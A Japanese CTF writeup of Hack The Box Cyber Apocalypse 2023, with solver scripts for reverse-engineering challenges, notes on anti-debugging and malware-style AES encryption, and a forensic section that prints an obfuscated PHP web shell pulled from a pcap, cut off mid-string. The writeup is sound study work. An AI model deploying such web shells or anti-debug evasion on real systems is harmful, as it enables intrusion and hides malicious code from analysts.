All Articles

Cyber Apocalypse 2023 Writeup

2023 年 3 月に開催されていた Cyber Apocalypse 2023 Writeup に参加しました。

Hack The Box が主催している CTF でしたが、リアリティのある面白い問題が多くて楽しかったです。

またなんと参加チームが 6400 チーム以上とのことで、今まで参加した CTF の中でもかなり規模の大きい CTF でした。

新メンバーの方にも参加いただき、最終順位 118 位でフィニッシュでした。

画像

Rev と Forensic を中心に解きましたが、もう少しで解けそうな問題もあるところでタイムアップしてしまい、非常に残念でした。

いつものように、面白かった問題や学びのあった問題についてまとめます。

She Shells C Shells(Rev)

You’ve arrived in the Galactic Archive, sure that a critical clue is hidden here. You wait anxiously for a terminal to boot up, hiding in the shadows from the guards hunting for you. Unfortunately, it looks like you’ll need a password to get what you need without setting off the alarms…

ユーザ入力値を受け取り、バイト列 m1 と xor した後にさらに m2 と xor したものがフラグになるという問題でした。

Ghidra で解析したところ、「ユーザ入力値と m1 を xor したバイト列」は一度バイト列 t と比較されていることがわかりました。

image-20230321104950676

つまり、t と m2 を xor した結果が最終的な Flag 文字列になることがわかります。

以下の Solver で Flag を取得しました。

m1 = [ 0x6e, 0x3f, 0xc3, 0xb9, 0xd7, 0x8d, 0x15, 0x58, 0xe5, 0x0f, 0xfb, 0xac, 0x22, 0x4d, 0x57, 0xdb, 0xdf, 0xcf, 0xed, 0xfc, 0x1c, 0x84, 0x6a, 0xd8, 0x1c, 0xa6, 0x17, 0xc4, 0xc1, 0xbf, 0xa0, 0x85, 0x87, 0xa1, 0x43, 0xd4, 0x58, 0x4f, 0x8d, 0xa8, 0xb2, 0xf2, 0x7c, 0xa3, 0xb9, 0x86, 0x37, 0xda, 0xbf, 0x07, 0x0a, 0x7e, 0x73, 0xdf, 0x5c, 0x60, 0xae, 0xca, 0xcf, 0xb9, 0xe0, 0xde, 0xff, 0x00, 0x70, 0xb9, 0xe4, 0x5f, 0xc8, 0x9a, 0xb3, 0x51, 0xf5, 0xae, 0xa8, 0x7e, 0x8d ]
m2 = [ 0x64, 0x1e, 0xf5, 0xe2, 0xc0, 0x97, 0x44, 0x1b, 0xf8, 0x5f, 0xf9, 0xbe, 0x18, 0x5d, 0x48, 0x8e, 0x91, 0xe4, 0xf6, 0xf1, 0x5c, 0x8d, 0x26, 0x9e, 0x2b, 0xa1, 0x02, 0xf7, 0xc6, 0xf7, 0xe4, 0xb3, 0x98, 0xfe, 0x57, 0xed, 0x4a, 0x4b, 0xd1, 0xf6, 0xa1, 0xeb, 0x09, 0xc6, 0x99, 0xf2, 0x58, 0xfa, 0xcb, 0x6f, 0x6f, 0x5e, 0x1f, 0xbe, 0x2b, 0x13, 0x8e, 0xa5, 0xa9, 0x99, 0x93, 0xab, 0x8f, 0x70, 0x1c, 0xc0, 0xc4, 0x3e, 0xa6, 0xfe, 0x93, 0x35, 0x90, 0xc3, 0xc9, 0x10, 0xe9 ]
t = [ 0x2c, 0x4a, 0xb7, 0x99, 0xa3, 0xe5, 0x70, 0x78, 0x93, 0x6e, 0x97, 0xd9, 0x47, 0x6d, 0x38, 0xbd, 0xff, 0xbb, 0x85, 0x99, 0x6f, 0xe1, 0x4a, 0xab, 0x74, 0xc3, 0x7b, 0xa8, 0xb2, 0x9f, 0xd7, 0xec, 0xeb, 0xcd, 0x63, 0xb2, 0x39, 0x23, 0xe1, 0x84, 0x92, 0x96, 0x09, 0xc6, 0x99, 0xf2, 0x58, 0xfa, 0xcb, 0x6f, 0x6f, 0x5e, 0x1f, 0xbe, 0x2b, 0x13, 0x8e, 0xa5, 0xa9, 0x99, 0x93, 0xab, 0x8f, 0x70, 0x1c, 0xc0, 0xc4, 0x3e, 0xa6, 0xfe, 0x93, 0x35, 0x90, 0xc3, 0xc9, 0x10, 0xe9 ]

for i in range(0x4d):
    print(chr(t[i] ^ m2[i]), end="")

Hunting License(Rev)

STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!

バイナリを解析してパスワードやライブラリなどの情報を収集する問題でした。

パスワードの検証時にはメモリに平文のパスワードが格納されるので、gdb でデバックを行うと簡単に見つけることができました。

Cave System(Rev)

Deep inside a cave system, 500 feet below the surface, you find yourself stranded with supplies running low. Ahead of you sprawls a network of tunnels, branching off and looping back on themselves. You don’t have time to explore them all - you’ll need to program your cave-crawling robot to find the way out…

バイナリを解析してみると、先頭から 1 文字ずつ Flag を総当たりで特定可能な実装になっていることがわかりました。

gdb を自動化してもよさそうでしたが、 条件的に angr の方が簡単に解けそうでしたので、以下のスクリプトで Flag を取得しました。

>>> proj = angr.Project('cave')
WARNING  | 2023-03-21 11:15:35,590 | cle.loader     | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>>
>>> init_state = proj.factory.entry_state(args = ['cave'])
>>> simgr = proj.factory.simgr(init_state)
>>> obj = proj.loader.main_object
>>> print("Entry", hex(obj.entry))
Entry 0x401080
>>> simgr = proj.factory.simgr(init_state)
>>> simgr.explore(find=(0x401ab3), avoid=(0x401ac1))
<SimulationManager with 1 found, 61 avoid>
>>> simgr.found
[<SimState @ 0x401ab3>]
>>> simgr.found[0].posix.dumps(0)
b"HTB{H0p3_u_d1dn't_g3t_th15_by_h4nd,1t5_4_pr3tty_l0ng_fl4g!!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

Alien Saboteaur(Rev)

You finally manage to make it into the main computer of the vessel, it’s time to get this over with. You try to shutdown the vessel, however a couple of access codes unknown to you are needed. You try to figure them out, but the computer start speaking some weird language, it seems like gibberish…

この問題は脳筋な解き方をしてしまったので結構時間がかかりました。

問題としては、意味不明なバイナリデータと、そのバイナリデータを読み込んで処理を行うプログラムの 2 つが与えられました。

プログラムの方を解析したところ、バイナリデータの先頭 3 バイト目以降から 6 バイトずつ切り取ると、独自のアセンブリ命令とデータ部に分けることができることを確認しました。

image-20230325002145763

この命令部分を抽出するスクリプトを作成した結果、以下のように 0x0 から 0x18 までの命令セットが使用されていることがわかりました。

image-20230325002305900

しかし、このまま独自の命令セットの挙動を解析しようかと思ったものの上手くいきませんでした。

そこで、命令セットの呼び出し順序に着目したところ、vm_inputvm_storevm_pushなどの入力値をスタックに格納していると思われる命令を複数回呼び出した後、vm_jeという命令による分岐が行われていることを確認しました。

ここから、gdb でvm_jeの命令呼び出し位置を特定し、以下のようなスクリプトで ZF を書き換えながらレジスタの値を抽出していくことで、1 つめのパスワードをブルートフォースで取得できることがわかりました。

for c in range(len("c0d3_r3d_5h")):
    # register
    reg = int(gdb.parse_and_eval("$rax"))
    pw += chr(reg)

    gdb.execute("set $eflags ^= (1 << $ZF)")
    gdb.execute("continue")

一つ目のパスワード入力を終えて処理を進めると、続いて 2 つ目のパスワードが求められます。

こちらについてもvm_jeという命令で比較を行っていたためにブルートフォースで情報を抽出することができましたが、取得できたのはe]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661という意味不明な文字列でした。

しばらく解析を進めてみると、e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661という文字列は、Flag になる 2 つ目のパスワードの文字列と位置をそれぞれ既定の値に置き換えたものであることがわかりました。

具体的には、A は C に、B は @ に置き換えられ、パスワードの 3 文字目が比較時の 10 文字目に置き換えられる、といった操作が行われていました。

そこで、以下のスクリプトを使って 2 つ目のパスワードの文字を少しずつ変化させて、置き換えられる文字と位置の対応を取得しました。

# gdb -x solver2.py
import gdb
from pprint import pprint

BINDIR = "/root"
BIN = "vm"

"""
b *(vm_je+124)
set $ZF = 6
c0d3_r3d_5h
set $eflags ^= (1 << $ZF)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"""

gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *(vm_je+124)')
gdb.execute('set $ZF = 6')

# echo "AAAAAAAAAAAAAAAAA" > input.txt; echo "e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661" >> input.txt
order = []

# for i in range(0,len("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")):
for i in range(0,1):
    with open("input.txt", "w") as f:
        t = list("AAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
        t = list("AAAAAAAAAAAAAAAAA\n15lgTu_lB1n43w44dh740r_Hu3n_3}{l_ngr")
        # t[18+i] = "B"
        f.write("".join(t))


    gdb.execute('run bin < ./input.txt')

    pw = ""
    for c in range(len("c0d3_r3d_5h")):
        # register
        reg = int(gdb.parse_and_eval("$rax"))
        pw += chr(reg)

        gdb.execute("set $eflags ^= (1 << $ZF)")
        gdb.execute("continue")

    # gdb.execute('b *(vm_run+25)')
    gdb.execute("set $eflags ^= (1 << $ZF)")
    gdb.execute("continue")

    alp = []
    for c in range(36):
        # register
        reg = int(gdb.parse_and_eval("$rax"))
        alp.append(chr(reg))
        if int(gdb.parse_and_eval("$rcx")) != reg:
            gdb.execute("set $eflags ^= (1 << $ZF)")
        gdb.execute("continue")

    order.append(alp.index("@"))
    print(alp)
    print(order)

最終的に、文字と位置の置き換えの対応表を作成し、以下のスクリプトでe]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661を復号することで、 Flag を取得することができました。

alp = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij"
alp = "klmnopqrstuvwxyz1234567890!#$%}{_-^~"
flag = "e]wJ3@Vlu7]5nnf6l6pewj1y]1p\177ln32661]"
result = ['\x7f', 'v', 'z', 'i', 's', 'o', 'n', "'", 'r', 'm', '3', '0', '5', 'q', 'x', ']', '{', '4', 't', '/', 'y', '1', ';', 'l', '7', '\\', 'p', '|', '2', '!', ':', 'u', 'w', '&', '6', '#']
order = [3, 6, 5, 23, 9, 8, 4, 26, 13, 1, 32, 18, 31, 2, 16, 14, 10, 11, 21, 34, 24, 17, 12, 30, 22, 28, 35, 29, 33, 7, 0, 20, 15, 19, 25, 27]

dict = {'C': 'A', '@': 'B', 'A': 'C', 'F': 'D', 'G': 'E', 'D': 'F', 'E': 'G', 'J': 'H', 'K': 'I', 'H': 'J', 'I': 'K', 'N': 'L', 'O': 'M', 'L': 'N', 'M': 'O', 'R': 'P', 'S': 'Q', 'P': 'R', 'Q': 'S', 'V': 'T', 'W': 'U', 'T': 'V', 'U': 'W', 'Z': 'X', '[': 'Y', 'X': 'Z', 'c': 'a', '`': 'b', 'a': 'c', 'f': 'd', 'g': 'e', 'd': 'f', 'e': 'g', 'j': 'h', 'k': 'i', 'h': 'j', 'i': 'k', 'n': 'l', 'o': 'm', 'l': 'n', 'm': 'o', 'r': 'p', 's': 'q', 'p': 'r', 'q': 's', 'v': 't', 'w': 'u', 't': 'v', 'u': 'w', 'z': 'x', '{': 'y', 'x': 'z', '3': '1', '0': '2', '1': '3', '6': '4', '7': '5', '4': '6', '5': '7', ':': '8', ';': '9', '2': '0', '#': '!', '!': '#', '&': '$', "'": '%', '\x7f': '}', 'y': '{', ']': '_', '/': '-', '\\': '^', '|': '~'}
for i in range(36):
    dict[result[order[i]]] = alp[i]
print(dict)


ans = ["0" for i in range(37)]
for i in range(len(flag)):
    ans[i] = dict[flag[order[i]]]

print("".join(ans))

image-20230321211223612

Vessel Cartographer(Rev)

You finally manage to remotely connect to a computer onboard the alien vessel to shutdown the defense mechanisms. However, it instantly starts acting up and ends up deploying malware as a defense mechanism. All your documents including your hard earned map of the vessel topology is now encrypted.

challenge.exeというバイナリとvessel_map.jpeg.owoというファイルが与えられます。

どうやらvessel_map.jpegというファイルが暗号化されてしまっているようなので、暗号化手法を特定するためにchallenge.exeの解析を行いました。

しかし、普通に Ghidra に与えてもうまく解析ができず、デバッガを使用した場合もエラーになってしまいました。

そこで、バイナリを pestudio にかけて表層解析を試してみたところ、どうやら UPX でパックされたバイナリであることがわかります。

image-20230325083111080

そのため、このバイナリを upx/upx · GitHub でアンパックした後でデコンパイルしました。

暗号化対象のファイルをオープンしているとみられる部分まで読み飛ばます。

image-20230325085028269

さらに処理を追ってみると、(*(code *)(param_1 + 0x12e0))(_Dst,nNumberOfBytesToWrite,&DAT_140005050,&DAT_140006c58);の行で使用されている_Dstの値をファイルに書き戻していることがわかります。

image-20230325085829826

ここから、(param_1 + 0x12e0)のアドレスに何らかの関するがあり、_Dstに読み込まれたファイルの内容を&DAT_140005050&DAT_140006c58という 2 つの 16 バイト配列の値で暗号化しているように推察できます。

さて、この(param_1 + 0x12e0)のアドレスですが、呼び出し元の処理を参照すると、DAT_140005060の値に何らかの加工を行った結果が使用されているようです。

image-20230325123627495

この関数の呼び出し時にブレークポイントを設定すればどの関数を呼び出しているか容易に特定可能かと思ったのですが、TLS コールバックによるアンチデバッグが設定されていてデバッガによる実行ができませんでした。

tls_callbackはプロセスのエントリポイントが呼び出される前に実行される処理で、この中にアンチデバッガの機能を実装することでデバッガによるデバッグを防止できます。

void tls_callback_0(void)

{
  BOOL BVar1;
  
  BVar1 = IsDebuggerPresent();
  if (BVar1 != 0) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return;
}

参考:Detect debugger with TLS callback - Source Codes - rohitab.com - Forums

デバッガを使用できるように、JE で実装されていた条件分岐を JNE に変更するパッチを適用しました。

これで WinDbg によるデバッグができるようになりました。

image-20230325151908221

デバッガで挙動を追ってみると、(param_1 + 0x12e0)のアドレスには以下のコードが埋め込まれていることがわかりました。

image-20230325181256801

この中でファイル内の文字列の暗号化を行っているようですが、何をしているのか特定できず断念しました。

ここから、Writeup も参考にしつつ挙動を追っていきます。

まずは main 関数の全体像を把握することから始めます。

以下は、main 関数の最初の処理を整形したものです。

まず、デバッガで確認したところ最初のunknown_dataには64745e29db38が格納されることがわかりました。

また、unknown_code1ntdll!NtAllocateVirtualMemoryunknown_code2ntdll!NtWriteVirtualMemoryのアドレスを指定することも特定しました。

unknown_data = DAT_00005008 ^ (ulonglong)auStack_58;
result_GetCurrentProcess = GetCurrentProcess();
unknown_code1 = (code *)FUN_00001080(0xd026c5e3);
unknown_code2 = (code *)FUN_00001080(0x749cf0df);

次に呼び出されるFUN_00001590ですが、デコンパイル結果を見る限りDAT_00005070に何らかの処理を 0x1600 回繰り返しています。

image-20230328081945042

すべて XOR 演算なので、最終的には何の変化もないように見えますが、念のためデバッガでもDAT_00005070の値に変化が無いことを確かめました。

!dh challenge_patched -sで特定した DATA セクションのアドレスを使用してchallenge_patched+5070の値の変化を監視しましたが、FUN_00001590の呼び出し前後でこのアドレスの値に変化はありませんでした。

続いての処理では、先ほど特定したNtAllocateVirtualMemoryNtWriteVirtualMemoryによって、 0x1600 バイト分の領域を確保し、DAT_00005060の値を格納しています。

(*ntdll!NtAllocateVirtualMemory)(result_GetCurrentProcess2,&base_address,0,&0x1600);
local_38 = 0;
(*ntdll!NtWriteVirtualMemory)(result_GetCurrentProcess,base_address,&DAT_00005060,0x1600);

ここで、第一引数にGetCurrentProcessの結果が格納されているのは、これらの関数が第一引数としてProcessHandleをとる必要があるためです。

参考:NTAPI Undocumented Functions

いよいよ残り 3 つの処理を見ていきます。

 FUN_00001210(base_address);
 FUN_00001290(base_address);
 FUN_00001720(unknown_data ^ (ulonglong)auStack_58);

まず初めのFUN_00001210ですが、整形したデコンパイル結果は以下のようになりました。

void FUN_00001210(longlong base_address)

{
  code *pcVar1;
  HANDLE pvVar2;
  undefined auStack_48 [32];
  undefined *local_28;
  undefined4 local_18;
  undefined local_14 [4];
  ulonglong local_10;
  
  local_10 = DAT_00005008 ^ (ulonglong)auStack_48;
  pcVar1 = (code *)FUN_00001080(0xbe774f89);
  if (pcVar1 != (code *)0x0) {
    pvVar2 = GetCurrentProcess();
    local_28 = local_14;
    (*pcVar1)(pvVar2,0x1f,&local_18);
    (*(code *)(base_address + 0x12a0))(&DAT_00005050,local_18);
  }
  FUN_00001720(local_10 ^ (ulonglong)auStack_48);
  return;
}

さらにデバッガで確認すると、(*pcVar1)(pvVar2,0x1f,&local_18);ntdll!NtQueryInformationProcessであることがわかりました。

image-20230327141123178

また、ここで出てくるlocal_18には、ntdll!NtQueryInformationProcessの呼び出し時点でcd8753fc50が格納されていました。

このlocal_18ntdll!NtQueryInformationProcessを通った後に*(code *)(base_address + 0x12a0)という独自の関数に与えられます。

ntdll!NtQueryInformationProcessは、以下の公開情報の通り、第 2 引数に取得するプロセス情報のタイプを指定するためのProcessInformationClassを渡します。

参考:NtQueryInformationProcess function (winternl.h) - Win32 apps | Microsoft Learn

ProcessInformationClassに 0x1f を与える場合については公式の情報には記載がありませんでしたが、どうやら 0x1f を指定した場合には、デバッガが使用されているかどうかを判断するためのProcessDebugFlagsの情報が取得できるようです。

参考:NtQueryInformationProcess | サイバーセキュリティ情報局

この手法はマルウェアが解析妨害を行う場合によく使用される方法のようですね。

ProcessDebugFlagsが指定された場合、第 3 引数で指定される出力先のProcessInformationには 0 が返されます。

実際に、その次に呼び出される*(code *)(base_address + 0x12a0)には、DAT_00005050と 0 が引数として与えられていました。

2 つめの引数が 0 になるのはデバックが有効な場合のみなので、この値を 1 に書き換えて実行した結果、計算結果は6d597133733676397924422645294840になりました。

この値はDAT_00005050に格納され、後の暗号化処理の中で使用されます。

FUN_00001290の中の暗号化処理を見ていきます。

この暗号化処理は、冒頭で参照した(*(code *)(param_1 + 0x12e0))(_Dst,nNumberOfBytesToWrite,&DAT_140005050,&DAT_140006c58);の行で行われます。

暗号化のための鍵としてDAT_00005050DAT_00006c58を取っています。

DAT_00006c58はデバッガで確認したところすべて \x00 でした。

暗号化の処理では以下が呼ばれます。

0000025c`b5d312e0 48895c2408      mov     qword ptr [rsp+8],rbx ss:000000b5`952ff3d0=00000000000000ff
0000025c`b5d312e5 57              push    rdi
0000025c`b5d312e6 4881ece0000000  sub     rsp,0E0h
0000025c`b5d312ed 498bc0          mov     rax,r8
0000025c`b5d312f0 488bda          mov     rbx,rdx
0000025c`b5d312f3 488bf9          mov     rdi,rcx
0000025c`b5d312f6 488bd0          mov     rdx,rax
0000025c`b5d312f9 4d8bc1          mov     r8,r9
0000025c`b5d312fc 488d4c2420      lea     rcx,[rsp+20h]
0000025c`b5d31301 e8aaf4ffff      call    0000025c`b5d307b0
0000025c`b5d31306 4c8bc3          mov     r8,rbx
0000025c`b5d31309 488d4c2420      lea     rcx,[rsp+20h]
0000025c`b5d3130e 488bd7          mov     rdx,rdi
0000025c`b5d31311 e8aaf0ffff      call    0000025c`b5d303c0
0000025c`b5d31316 488b9c24f0000000 mov     rbx,qword ptr [rsp+0F0h]
0000025c`b5d3131e b001            mov     al,1
0000025c`b5d31320 4881c4e0000000  add     rsp,0E0h
0000025c`b5d31327 5f              pop     rdi
0000025c`b5d31328 c3              ret

Writeup を参照しつつ読んだもののよくわかりませんでしたが、この関数が呼び出している処理をたどっていくと、AES が使用する S-Box のようなバイト列を見つけることができ、AES で暗号化していることを特定できるようです。(これは自明なのか?)

残念ながら自力での特定には至りませんでしたが、Vessel Cartographer | bi0s を参考にさせていただいて以下の Solver で復号を行いました。

from Crypto.Cipher import AES
f1 = open("flag.png","wb")
x = AES.new(key=b'mYq3s6v9y$B&E)H@', mode=AES.MODE_CBC, iv=b'\x00'*16)
f2 = open("vessel_map.jpeg.owo", "rb")
bytes = f2.read()
f1.write(x.decrypt(bytes))

Flag は以下。重い問題だった。。

image-20230328190620744

Roten(Forensic)

The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.

pcap ファイルが与えられ、その中からサイトがクラックされた証跡を特定しろという問題でした。

WireShark を使ってオブジェクトを一通り参照したところ、graphicmap.phpというファイルが RCE に悪用されていることを確認しました。

image-20230321115516916

そのため、このファイルがアップロードされたタイミングを特定し、そのファイルの中身を読み取ることにしました。

アップロードされたgraphicmap.phpを抽出したところ、以下のように難読化されたスクリプトが埋め込まれていました。

<?php 
$pPziZoJiMpcu = 82; 
$liGBOKxsOGMz = array(); 
$iyzQ5h8qf6 = "" ; 
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e  =p   xt\" ?ltps vdfic-xetrmsx'l0em0  o\"oc&'t [r\"e _e;eV.ncxm'vToil   ,F y"; 
$iyzQ5h8qf6 .= "<r s -<a  \"op r_P< poeeihaeild /ds\"se4bsxao1: r]du ;e\$'o,t dn\n)i\$'me'maoate{e  I!lb>'u btde .sr ege/ han:t"; 
$iyzQ5h8qf6 .= "elrlenjl t>( 0'eCdd0  l et0\n'seu u it ;e_ dc>ulUd'T\nxe\$L<er<.l oh>c  ii aert pdt iai(ed.QiJr\n\$i0; 0\"e0' d= ex ].xp\$r re \nwSn'u<lup ]o iluE/=>b\$t r>\n"; 
$iyzQ5h8qf6 .= "h rxn ltmb \n'-aodd') bubaa\nff0 i0] )- [ &\"4 ==e[wn (r #iEa tftelF)U sspSb\"'rd  dO o e_t ppso \n]DpneaC;aoesvp\ni( }f0 & ' \"( ]0 =sc'o  \$s #nRmaeoi=oi)p te"; 
$iyzQ5h8qf6 .= "l[>c;>ia ew   agP aw(d i;ep:rto\nnor/a/<l )\n( = ?;\$r\$0 0 'puwr\$\$d\" fgVeu'rp'al l s o'<o\n<rs rn \" leeetu\$y f\nsl (en dtyjS3?e\$   ) 0 \ngem0=  xrtrlsdi; l E=t>ma\"d"; 
$iyzQ5h8qf6 .= "e{o  iafbl\nb. }ee < ptrchid>   cia''t  s qc.p)m{ \$ (0' rao0 ) 'ieid;ir\n adR'o\\ r.''\na ifdiro >'\$\ndr<t apmh(di\" ( rctE)"; 
$iyzQ5h8qf6 .= "e mtlur3h;o  m{\$2x odd0(  )n't[\nr)  gi[dcnat\$   d n Dl>r R k}\"<tr twso\$(r; i iatx;n iriei.p\nd\$ o m0' u\"e1\$\$ "; 
$iyzQ5h8qf6 .= " t]e'} ) } r'io\"c/_in '  (ie': e&e\n>/b> hu( df)\n s ptap\nt nabrp6\n et d\$o0  p] )ogi?f)'r\n=  \n=ePrm;tfGda"; 
$iyzQ5h8qf6 .= " ]e\"mrT;r s&ye\nto\" (i\$\"ii e s tici - ipryt/\n  y etd): [ & wrf (;]e\n {   cH'p\nioE=m [c.oeo\ne u  c hd; \$dd<rl.c e iohr L fca/ jf &p  ye   "; 
$iyzQ5h8qf6 .= "\"= ?no('\"\n,a\n\$\n  HtP leorT'e 'h\$vcU d l'=h >y\n d(it.e h t onme e idr1-su  e &p ?' e 0 eu t%  d\$_   To_vecnm[f= nouetp \" t."; 
$iyzQ5h8qf6 .= ">o \n> eifrd'o\"o ( n/es n eny.-/n 0=e e& - x(0'rp\$'1 \$'dP   BrSath=-'i' a p_ol >  \$    \n cri)>/w<  \$i:on: g "; 
$iyzQ5h8qf6 .= "d. 1>bc x'l0= ''\$e\$0x[[m s g]iO   {yEleo'ddls m\"luro E}o_\$\"< < h.l <'n/\" _f ct  t  c-2\not 2dsx'0w;gcm0''\"o:% r,rS   W Lu= \"aieu\$e<opya r\nfG"; 
$iyzQ5h8qf6 .= "v<t ? o'e.a.et< G Ft;0 h Co-.<oi 0'eAs0'\nruo2 eed 1 o  T   0\"Fe'\".trTbu'bal)d r\n Eabh p  /o  \$rd/ E(ie ' :eSm>2stoi0; 0'4  otd):xxe's u\$=[ "; 
$iyzQ5h8qf6 .= "  w '=o<\$a'omp]rdo)' o}cTlre h \"'w\"hv(>t Tfltf)  xS/\n/csnf0 i0;0: uee  ee T% pw '  \$_.]\"f/_']Uil)>Da ] r\no[u>a p <.n<ra\$\\a [ie-i; 'i b<jrt ( }f0 0  "; 
$iyzQ5h8qf6 .= "p\" ?'cc&'1 [o\$d  dR ..ffS>.pto;<id{[} \nm'e\"d \n t\$e/eldnb 'l sl\n  t-osqirp )\n( })' []& -uu ;s\$'r_ii iO\$\"\$'oE"; 
$iyzQ5h8qf6 .= "\\\"l'a\nbre\n' uimc);> fidvrtfui\"l deTte  .;-ocupar\$   )\n - \"  ''tt0\n\"selGrf rtd'd rRn'o>d red nepfam \n\n<o"; 
$iyzQ5h8qf6 .= "f>a(d=er;e o_rrn h \n>tretpim{ \$  ?' w=0w;eex ,.xdE'   _i iamV\"/a\"D >c_ all nd{? tr <l\$>').\n> weaea ef \nsir .no  "; 
$iyzQ5h8qf6 .= "m{  ; r 0'\n'\"2  =e[T](\$=Armru>E;>d;i <tf mso(d'\n> he(aud\\\" ' \" nxnam ai <tpysmtd\$ o  '\n i(0  ]]0 \$sc'[;if _ e.t\"R\n '\nr boi eeai ] \n >ai ein../ ; lisme "; 
$iyzQ5h8qf6 .= "dl lrt.riPet d\$ r \$t\$0: = 0 opuw'\nsi'D.t\"o;[e\">ee  rl ' dse, \n Pcsh)r\"  ' \n osf'= ee ia mcne y et ' gem4  ==  wrtrd}_l.a h f\n'c;\\cc sye ]{isx  <"; 
$iyzQ5h8qf6 .= " eh_r .;\$\". \n ate)\" rs npsi=.r&p  y   r\"o)' ' ) nieii\nfe/Y\"o/oePh\nnht t.( .\nnee\$ t r de.'\n_'\$ \n dsr;' (i k/rn\"jm e &p : o]d - x(  en'tr\$i '}<d>ccHoe<o"; 
$iyzQ5h8qf6 .= "o y\"\$ ' gtcc a<m(if / S>v ? '('\n. 'z  3c.hss0=e e   u e?' '\$\$ rt]e'fl=;\n/=\"uhP cb ril._    (um bti\$r=\"' E\"a > ]\$) b Pe r.=jt\"(x'l0=e' p=  ; )gw\$[f)']ie \n\$h"; 
$iyzQ5h8qf6 .= "';so_\"hr\"yfe<F u f\$td lrsd('/. R.l \n )f; a r(}e3\"st>\$1csx'l- [ &'\n  ros'(;];l(\$}d2G\n> S<o><  =/I p i_ir e>sir\"'\$ V u}\n )i\n s a\$\nl.h\"p<f0'e8l"; 
$iyzQ5h8qf6 .= "s' \"( r i?or=r\"\n,\ne\$d\ni>Ee\\\"Ei </=('bL l lGoe  \nire.>v E\$e\n\n  l  ehgf}=6t>:/i0; 0'e;\$r\$0' f ulse%  i di\$r\"Tcn\\Ln\"id fc>E o eEns c osa \"a Rv) \n {e"; 
$iyzQ5h8qf6 .= "  nemi\n\"/t</sl0 i0; \noem0  ('pdpa1 \$f=irds;'h<nFp<ni\$io<S a  T:u l n l\$.l [a) < \n)  aaal\nscp//ce }f0 \$ wao0:  s[[rds w  r;i \n>o"; 
$iyzQ5h8qf6 .= "i<'uipvdll/[ d '[ l a sap_ u 'l[ /  )  md:e?tsssmr))\n( }t ndd1  \$''\"i'% o(')\nr=e\" nb]tnu>ieob' e .'<t s <saS\$e}Pu"; 
$iyzQ5h8qf6 .= "n d     ee )>ys:cai    )\ny e\"e0' m een]1 ri')   c;\"pr. pt\"r_rrfed \$c/) s / tEv)\nHea i  {  (rp)\nl//rxp{{ \$  p r] )- o:xxt,s ls;  =sh\n<u>\"tu"; 
$iyzQ5h8qf6 .= " ;.e:>ic  umb; = t\$hRa) P m v  \n  \$(u;\neb/ict\n  m{ e [ & ' d eef % ds\n{  coeit\\'ytt\n'xr<lhs pd>\n \" hk(Vl[ _.e >     f'b\n<soapd> \$ o  = \"="; 
$iyzQ5h8qf6 .= " ?;\$e'cc(\$1 [ei\n ra cn n p y\n/ie/eou l'< et >e\$Eun S ] \n     iCl hhojtn\n t d\$ ' e 0 \nw Suu\"os\$'tf  en\"hpt<metpi'sdbT c o]b ca"; 
$iyzQ5h8qf6 .= "<\nydRea E\" e<    hlai teta>.\n y et u x(0' o&'tt%w\"se(   ad\\ouyde=yef.t'ro'c a)r hbt  i[ m L<.c/    eecc mesx\nb< p  y '\$e\$0x r ;ee1n,.x\$(  lin tpit'p"; 
$iyzQ5h8qf6 .= "= bs>>U<e d)> olh =r'.e F/\"hh \$  a)h' ltt.\nod e &p ;ocm2' l0\n'\"se =e_\$  pr<\" evhhe'(a(E\"pbseD \"  e> >.P ] 'a<ot f hd.e) >\"r"; 
$iyzQ5h8qf6 .= "g<oi =e e \nwuo0  dx ]]\"r\$scPd  a(b<t= oi=sis\$r;lrsci{; \" N  'H\"  ]>/ m i ee'-; \n ao!tv 'l0=e ntd): [8 = ,[gpuOi  t\$riy'cdd'useur\no>fhr\n\n \$ta \$/P<.e <t\""; 
$iyzQ5h8qf6 .= "l l ar\"C\n <hpo-s  psx'l eee   \"0 == 'rrtSr  hd>npsl=dfbsnpo a<uoe   vam v'_/ l./d<> e d('o  !r.g-tc\$'e6-s r\" ?' e0 ' \$woieT   (i<peua'eime"; 
$iyzQ5h8qf6 .= "alr dbl c  fabe<a.Sa\"s t>/    e')n  -eml rlm; 0'e []& - x  x(trun'[=  \$rfu=bsPnlitmo. 'rl't  oll</l\$E><e\"d<t  = rC;t  -fieLaao i0;  \"  ''\$e) "; 
$iyzQ5h8qf6 .= "'\$yipt]'=  d)ot'msO'et(ea  ]>y<o  rue/tuvL</ ?>tr    (o\nr   =naapsd}f0 i w=0w;wc  )wpt[f)d   i;r ti=S ''\$(dF [< br  ee-treaF/t{d<d>  \$h"; 
$iyzQ5h8qf6 .= "'n o  L\".ptcse\n( }f r 0'\nou\$  oee'(;iN  r\nmtet'Tn  _\$Di 'biry  a hh>)l'td\not>\"  _eCt l rahcied=   )\n( i(0  rtoi?r)'r\"\nrU e.e yx'n'anvP_il t>n>.  c"; 
